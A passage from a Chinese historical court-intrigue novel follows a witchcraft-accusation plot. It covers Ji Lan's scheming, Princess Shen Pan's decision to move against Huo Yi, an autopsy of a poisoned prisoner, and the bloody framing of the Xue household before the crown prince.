像是听见了什么天大的玩笑,但嵇阚没有嘲笑的心思,一转头又看见嵇阑满脸的坚定和野心,不禁苦恼起小辈的眼孔浅显,“但太子只是太子!五柞宫的那位才是陛下!”
他扶正嵇阑的脑袋,脸上那道狰狞的伤疤里都流淌出痛惜。
多么聪明机灵的孩子,怎么就不明白呢?
“陛下心里的太子位,一直都是陈王的!现在陈王要去就藩,霍家不得已费尽心思颠覆东宫,只要能成,陛下难道会去追究吗?陈王弱不禁风
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,不禁事!就是个乳臭未干的娃娃!他能扛什么基业?今后不全要靠着他的母族去压制这化隆遍地的公侯!”
嵇阑咬紧牙根,更近一步,“叔,别忘了,宁远还有个燕王,英国公、申国侯、襄阳侯、宁安侯、永定伯这些都是老牌的公侯,他们手中的人脉与银钱,比起永昌侯、永诚侯、平凉伯、武定伯、长兴伯,还有咱们家忠义侯,丝毫不落下风!更别说满朝的风宪官,还有大楚上下万万双眼睛!他们全看着呢!看着咱们助纣为虐、杀良冒功!”
“他们没有兵!”嵇阚吼道:“没有兵权,他们就什么都不是!”
“那兵权在谁的手里?是霍家吗!”
白雾骤散,嵇阚一愣。
天越冷,地越白,嵇阑的双眸里那把边塞狼烟火就越燃,“宁海、南越、靖臣、云仑,四大将军哪一个姓霍?再看那些封疆一方的布政使,哪个又是霍家的故旧?谁想一辈子匍匐在恩人的脚下,一辈子做他们一家的牛马?若霍家真有这样的号召,陛下第一个就会杀了霍辄!”
他话中的威势几乎压得嵇阚喘不过气,在这本就呼吸有如刀割的冬天里。
嵇阑也喘不过气,但他还要继续地劝,千万不能让嵇阚回心转意再投霍氏的阵营。
“叔,霍家是被逼得破釜沉舟,没了陈王这张牌,他们就什么也不是!所以现在他们围了薛正衢家,连个证据都不要,就是为了赶紧提刀去东宫杀太子!因为他们出师无名又手无兵权,等太子反应过来,第一个死的就是大理寺狱里的霍开武!叔,霍辄是个能人,你敬英雄故而敬他,但他的儿子呢?他的弟弟呢?除了霍辄他们全家都是烂果子!果子烂一筐!咱们不能被他们带进沟里!”
嵇阚一时失神。
“霍辄是咱家的恩人,但其他人不是,现在和太子叫板的是霍轶不是霍辄,霍辄和陈王还远在五柞宫,对化隆城里的事情能知道多少?是霍轶假借他的名号四处协恩图报!这霍轶是个什么货色,叔叔你难道不知吗?连逼宫这样的事情他都敢想,如果咱们真帮他杀了太子,陛下回神后第一个要杀的不是陈王的舅舅,而是我们这些外人!”
嵇阑紧攥嵇阚的手,“叔!我们好不容易得到的安宁,就要这么断送了吗?”
嵇阚的视线落回眼眶,“你爹会怪我没有出手。”
“因为他受的恩惠最多。”
“你是他的儿子。”
“但他不把我当作儿子。”
嵇阚定定看喘气的他,似是想把嵇阑这一副风流世家子的皮囊看透,直看清他那把胆敢弑父弑君的逆骨。
逆骨啊!
杀人嗜血的逆骨,就长在他最欣赏的晚辈身上。
怎么办呢?
还能怎么办呢?
嵇阚抽出自己的手,重重扫去嵇阑肩上的积雪,“好好呆在家里,等着当你的驸马都尉。”
静等嵇阚平稳有力的脚步声熄灭,嵇阑缓缓转身,松一口气,拧眉扬唇,望向天际纷纷扬扬的大雪。
他当不了沈磐的驸马。
怎么办呢?
还能怎么办呢?
“来人。”
他豢养的死士鬼魅般从阴暗的角落应声走出。
“薛家能挖出什么巫蛊?薛正衢和太子妃几乎断绝了往来,他一个实心眼办实事的小老头能埋什么巫蛊?太子应该正带着长缨卫守在薛府门外,就趁着现在僵持不下,将早就准备好的说辞散布出去吧,毕竟——”
说着,嵇阑突然问:“和霍开德走得最近的是平凉伯家的金正彪吗?”
死士道:“和崔宏斌争风吃醋的就是金正彪。”
嵇阑点点头,“那就选他吧,反正他们鬼混时什么话都敢往外抖,他爹金广和就是胡廷槐之死的见证者,他会偶然知道霍家拿到了胡廷槐的蛊虫不足为奇。再有——”
他抖抖衣襟上沾满的雪点,搓着发红的手,往更偏更冷更黑的偏门走,“阳安伯也该知道他儿子究竟犯了什么事,好歹在窦凯旋手里做只明白鬼。”
说完,嵇阑哼哼起绮丽的乡野小调,间或能听见一句含含糊糊的“善恶终有报”或者“天道好轮回”,死士屏息塞听,迅即赶往落日前的闹市口。
36. 第三十六章 荒山冢(九)
“长平!沈磐!”
辛翩翩顾不得团圆等人的阻拦,推开房门就冲了进去,一把拽起床上的沈磐,“快醒醒!醒醒!五柞宫来信了!”
沈磐迷离的眼睛刹那清醒,“怎么说!”
“陛下近来越发不好了,我爹给我写了三次家信全被拦在了路上,这次是我爹的心腹亲自回京送的消息,以我大姑姑生辰为由,这才经过层层检查被放了回来。”
沈磐脸色凝重:“看来锦麟卫完全把控了五柞宫和京城的消息往来……”
“最重要的是!陛下不仅让霍轶调查巫蛊案,还给了他入宫搜查的权限!我来的路上听见霍轶随便捏了个借口就要去挖太子妃的娘家,路上还有人说霍家手上有蛊,这次只要敲开了薛府的门,薛家必定有巫蛊之罪!”
“团圆!”沈磐掀开被褥坐起来,踩着鞋子就往外跑,迎面撞上携风带雪的团圆,被寒意激得猛然咳嗽起来。
辛翩翩连忙抽了床尾的狐裘追了过去,“穿好衣裳!别再冻出病来。”
“团圆!太子他们往哪里去了?立即追去给他们送信!”
团圆哭丧着脸:“太子殿下接到消息,就去薛府了!”
辛翩翩圈住沈磐,“定是来得及的!霍轶就算有圣旨,也绝对不敢和太子动手,不然他就是造反!”
沈磐倚在辛翩翩的肩上,有些虚弱地吐出一口气,“霍轶把入宫搜查的权限隐瞒不说,恐怕早就预谋好了今天的一切,他……他是怕过大的权力过早激怒东宫,又是想在四面楚歌之际打我们一个措手不及……”
辛翩翩苦恼又愤怒:“陛下怎么能把这样的权柄交到小人手上!”
沈磐重重阖眼,“走,我们入宫。”
“入宫?外城马上就要落钥……”
“拿上我的玺绶,去启明门!启明门可以通行!二哥现在身边的人不多,根本不可能是有备而来的虎贲卫的对手……再有,无论薛家出不出事,霍轶都不能留,必须让内阁下令。”
辛翩翩到底是被沈磐话中即将席卷化隆全城的血雨腥风给唬住了,她活着了这么多年,到底从没想过自己也会深入一场流血宫变,她还是开口劝了:“长平,真的要这么做吗?这样就是在和陛下斗!有了梅阁老的前车之鉴,内阁不会忤逆陛下的!”
沈磐手上不停,匆忙穿戴衣物,听见辛翩翩这样怯弱的劝解,她霍然回头盯住她的美眸,“从陈王诞生的那一刻起,东宫就已经在和皇帝斗了!”
辛翩翩一阵恶寒,颤着嘴唇辩解:“陛下再不喜欢燕王,还是看重太子的!陈王即将就藩,陛下还是收了溺爱之心,是真真切切在为东宫铺路的!”
“那他为何要让霍轶主查城中巫蛊!藉寇兵而赍盗粮,他就是故意的!”
沈磐系好狐裘的丝带就大步往房外走。
“长平!”
沈磐再度回头,就见往日张扬明艳得比凤冠顶珠还要璀璨的姑娘此刻苍白着脸,曾经比莺啼还要婉转的声音也被恐惧榨干。
“长平……这才是谋反。”
一息。
两息。
三息。
门外的风雪倒灌进来,把门板吹得咯吱乱响。沈磐两鬓的碎发也随风舞起,舞在雪点中,舞在眉睫间,舞在视线里。
“父慈子孝,父既不慈,胡求子孝?子不逆父、臣不反君,孝武之戾太子是也!这就是十岁那年,宁先生让我们做赋,我没有交上去的文章。”
说完,沈磐转身就冲进了雪天里。
**
“可微!”
焦头烂额的萧蘋见郇渰领着刑部仵作前来,顿时如见救星,“起云兄!”
萧蘋一把拉住郇渰要施虚礼的手,带着他就往幽闭的大理寺狱里走,“岳筑璜被种了蛊,刚刚咬舌自尽,趁着蛊虫还没死赶紧去看看。”
郇渰被岳筑璜尸身上散发的恶臭熏得睁不开眼,捂着口鼻问:“现在是隆冬,尸体怎么腐烂得这么快!”
围在岳筑璜尸体前翻找脏腑内残余蛊虫的大理寺仵作给刑部来人让一个位子,却在站起身的刹那头昏眼花向后栽倒,萧蘋眼疾手快拉了一把,口鼻却正好被缺口处的腐败恶臭冲个正着。
他后退的步伐一个踉跄,撞上伸手搀扶的郇渰。
“快用布遮住口鼻——”
萧蘋拽着郇渰出了牢门,听刑部那白头仵作蹲身翻了两下摇头道:“不行,这蛊虫得靠气味辨别,诸位大人往后退退。”
萧蘋不再逞强,拉着郇渰站到了远处牢房甬道尽头的砖砌台阶上,“我听说我们大理寺的仵作说,刘老专擅西南偏邪诡道杀人验尸之法,但我听着他的口音更像是北边的?”
郇渰轻声道:“刘老是辽东人,他很少提起这些事,还是我听他的大徒弟说,刘老以前并不擅长这些,是在升平年间暗自拜了高人为师,方才习得看家本领。也是最近,刘老上了年纪打算回乡养老,一道吃酒时他和我说起的,是江南道苏州府的一位验尸娘子无偿传授他的技艺,当时送他去苏州府拜师的人还是我的伯父。”
“验尸娘子?”
郇渰喟叹:“是啊,刘老对她赞誉有加,后来听说这位娘子家中遭遇变故,年纪轻轻就在一场大火中身亡。”
萧蘋叹息:“天妒英才。”
郇渰听着牢房里经验老道的大理寺仵作都在忍不住干呕,不禁担心:“这蛊虫找得出来吗?”
“尽力吧,这里找不到,便去窦凯旋那里找。”
说起窦凯旋,萧蘋又恨又悲,“岳筑璜很早就不能说话了,人痴痴傻傻,字也写得颠三倒四,于是我们特意请了太医院的医生,给楚鹏、王必大等被窦凯旋提入狱中的嫌犯都检查了遍,偏偏在阳安伯崔恒才身上发现了蛊虫噬咬的印记,一盏茶的功夫,崔恒才就被折磨得想要自杀——”
一说到崔恒才发作时的生不如死的惨状,萧蘋就想到了上午长平公主沈磐叙述时的平淡。
萧蘋回神,“陶寺卿已经亲自去文正殿找冉大人了,窦凯旋滥用私刑,逮捕令很快就会下来。”
郇渰蹙眉:“窦凯旋为何还要给崔恒才下蛊?”
“就是要咬死岳筑璜。毕竟,崔恒才知道了他儿子究竟犯了什么事情,这才打算承认自己的外室的确施行巫蛊咒害正妻,他亲口说他上下疏通的那个人就是窦凯旋,窦凯旋也亲口答应帮他遮掩。后来事发,窦凯旋威胁他,让他指认岳筑璜才是与他串通的官员,不然就不给他解药,还要下蛊迫害他一家老小。”
想到今早大理寺的闹剧,郇渰忧心忡忡:“这蛊没有解药吧?”
萧蘋深吸一口气,又被远处飘来的恶臭熏得头晕眼花,“就算有,窦凯旋也不会履行承诺的,不是么?大抵他儿子崔宏斌也被下了蛊,只是还没发现。我已经派人去阳安伯府了,羊车巷那里也还没有消息,很可能……凶多吉少。”
“楚鹏呢?现在所有的证人里,就只有他的证词在直接指认岳筑璜了。”
“谁知道呢?撒出去的人手到现在还没有回应。”萧蘋忧重愁深,“听说楚鹏是岳筑璜的心腹,心腹都被筛成了这个样子,真不知道在这化隆城里,还有谁值得相信。”
郇渰叹气,两人就见刘老擦着手走了过来。
“不成。”
萧蘋还是止不住惋惜。
“要是孙太医还在就好了。”
“是年初病逝的那个孙太医?”萧蘋问。
刘老点头:“他是岭南人,在这些方面的造诣颇深,实在是可惜了。这样的尸首不能再放,火化了才好。”
萧蘋和郇渰默不作声走到岳筑璜已经烂无人形的尸体前垂首一礼,萧蘋做主道:“那就火化了,等陶寺卿回来我去和他说明,对了云起兄——”
说着,萧蘋想起一事,但碍于环境恶劣,只等两人出了大理寺狱他才说道:“上个月你问的那位玉器修复的老先生,前几日回信了,他现在在洛阳东都,你若着急,就让可靠之人把东西送去。”
提起这个,萧蘋只觉得郇渰的神色又沉重了几分,脚步一顿,连身后慢吞吞跟着的刘老都被挡住了去路。
萧蘋侧身给刘老让了路,拍拍郇渰的肩膀,“有什么误会,还是要说清的好。这些日子你一直呆在刑部,虽然是办案紧迫,但家事同样急于星火,若横生变故——”
正劝着,两人俱注意到刘老回了头,又转过身慢慢走了过来,郇渰连忙恭敬要问,就见刘老被松垮的皮肤压得狭窄的眼裂即刻开大,浑浊的瞳孔里细腻勾勒出雪点中自己模糊的轮廓。他没有儿女,常年寥落,只有手下几个徒弟前后侍奉。待见这些徒弟时,他总是个严师,郇渰从未见过他这副慈父模样。
但这样的眼神总让郇渰觉得,刘老也想透过他的皮囊去看什么人的影子。
果然,刘老道:“下官不日就要辞阙,有些话迟说了几十年,只希望现在还不算晚。”
郇渰微怔,“您请说。”
“刑部的值房,实在不适合久住,住得久了,难免沾染故人的病气和霉运,坏了自己的前程和幸福。”
父亲曾说他和已故的大伯父相像,什么都像,家世、模样,乃至于娶的妻子、供职的署衙,都像,就像是他的大伯父轮回转世、又投胎到了他的身上。
父亲常常睹物思人,便是随手写了个字,他都能回忆起他少年时代的悲欢种种。他虽然说着,不希望自己像他的大哥那样艰难辛苦,可这是种压力啊,总会让人觉得,父亲还是希望自己再努力些,再与伯父相像些,去复刻他的功业便一朝成为他们父子心里不可诉诸于人的期望和重担。
那些他考不到的科举名次、他处理不了的人情往来、应对不完的风云变幻,那样辉煌的仕途、艰辛的旅程、那样伟岸永恒的纪念,那样雨过天晴又晴天霹雳的感情,都成
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了刘老口中的“病气和霉运”。
郇渰从来没有这么痛快地想——
太对了。
他分明是活生生的一个人,却要长在一个死人的阴影之下。
成为一个死人。
“哥!哥!”
郇渰霍然清醒,抬头就看见自己的弟弟郇昇推开拦路的门吏,在门边朝自己大喊。他应该是从十二卫衙门里出来的,上个月他一直留在皇城兵马司,这个月轮回城内守卫,刚刚应该是去衙门里应差,这是要来刑部找自己一同下衙回家。
萧蘋边跑边喊:“别拦!别拦他!”
随即他便听见一个霹雳,在这暮光渐微的深冬时节,将自己劈得心肝焦烫而四肢冰凉。
“哥!可微兄!霍轶带虎贲卫去薛家搜查巫蛊了!”
**
薛府外并没有出现任何僵持不下的局面。
张永一跟着太子奔马赶到时,太阳卡在天际线,末日余晖刚好照彻薛府洞开的正门。
张永一率先下马,扶住差点从马背上摔下来的太子,抬头就见镂空照壁上挂下了自对面喷溅上的一串鲜血,血迹从孔洞中穿过,沿着壁上能工巧匠的刀痕斧迹一路向下,如同游蛇一般,最后盘踞在了浮雕蝙蝠的翅沿。
那么薄的翅膀,却要载起这么多的鲜血。
太子再也维持不住储君的风度,甩开张永一就冲了进去,却在绕过屏风后懵在原地。
正堂的台阶上站着薛正衢,他横抱着幼女薛元霭,一步一颤地从房檐沉重的阴影里走出。
这是张永一第一次见太子妃的胞妹薛元霭,不过十来岁的小姑娘,那张和太子妃长得有五分相像的脸就这么仰在了血泊里。这不是别人的血,是从她破了皮见了骨的额头里汩汩流出的鲜血,不,不仅是额头,还有后脑、两颞,到处都是凝结成血痂的黑紫色。
薛正衢也是这样一身黑紫色,像浑身染了血。
那天谆谆叮嘱他时慈爱无比的一双眼也像被人挖去,业已被流年岁月蚕食得沟壑纵横的一张脸上只剩下两只深洞。
洞中涌血。
薛正衢看见太子时,便流下一滴血泪。
闻声不详,张永一骤然拔剑,在拔剑的一刹那也看清了游廊上涌出的虎贲卫的铁甲上,沾着即将凝结的血迹。
霍轶攥着一只已经被扯断头的布偶娃娃从虎贲卫身后走出,张永一的剑即刻指向他的咽喉要塞。
“本将在薛小姐的玩偶中发现了这样的邪物——”霍轶张开五指,那断头的布偶便摔在了脏雪之中,瞬息洇出了一片血红,血红中用金漆写就的诅咒之词淬出了火光。
霍轶盯着太子一字一句道:“这是皇太孙送给薛小姐的东西,薛小姐亲口承认。”
“你撒谎!”薛正衢的声音是狂风过刀剑,刺得张永一心剧疼。
吼过这声,薛正衢就像是被抽干了所有力气,低头看向爱女时浑身都颤抖起来。他差点抱不住薛元霭,只能狼狈地向后跌坐在冰冷坚硬的台阶上,任由自己的尾椎摔得粉碎了似地疼痛,也要死死捧住逐渐失去温度的女儿。
脸上的血都要干了,雪还在不停地落。
那样一个风度翩翩的小老头,第一次挤出怨毒的神色,就是冲势在必得的霍轶而去。
“元霭说的是……分明是你!你把东西放进去的!”
他要吼出血来:“是你自导自演!是你杀了我薛府满门!是你狼子野心!”
他的眼里都是血。
“是你要嫁祸栽赃!是你瞒着陛下要图谋皇权!”
说罢,薛正衢枕起女儿的脖子,想抱着她重新从地上站起来。
可他老了,太老了,老得一夜间熬干了心血再也使不出半点力气。
太子即刻冲过去接过了薛元霭,可刚一抱住薛元霭,他就低头看见自己的袖子上洇湿了一大片鲜血,而薛正衢的袖子被血块粘住,这用力的一撕便将袖子撕开了一道口子。
破碎的布料还粘在薛元霭颈后。
太子慌忙抬头,蓦然看见薛正衢的眼里尽是决绝。
“太子啊!”
他哭了,扶着地颤巍巍站了起来,薄薄的一层积雪里便按下了他紫红的手印。
“太子!”
他满脸泪痕。
太子张口要说,就见眼前的薛正衢像风一样卷过,一眨眼的功夫就朝歪头挑眉的霍轶冲去。
张永一浑身一震,持剑的右手猛地向后一抽,刚要借着这股力追过去拦下薛正衢,就听“噌”的一声,霍轶身边的虎贲卫副使即刻拔剑挡到薛正衢身前。
他已经双脚腾跃,可再度落下时只接住了薛正衢的尸体。
喉口破开,血溅不止,不过两息,他们便浑身是血。
手边是那只断头的布偶。
张永一一瞬茫然,扭头看向檐下抱着薛元霭的太子也是一瞬茫然。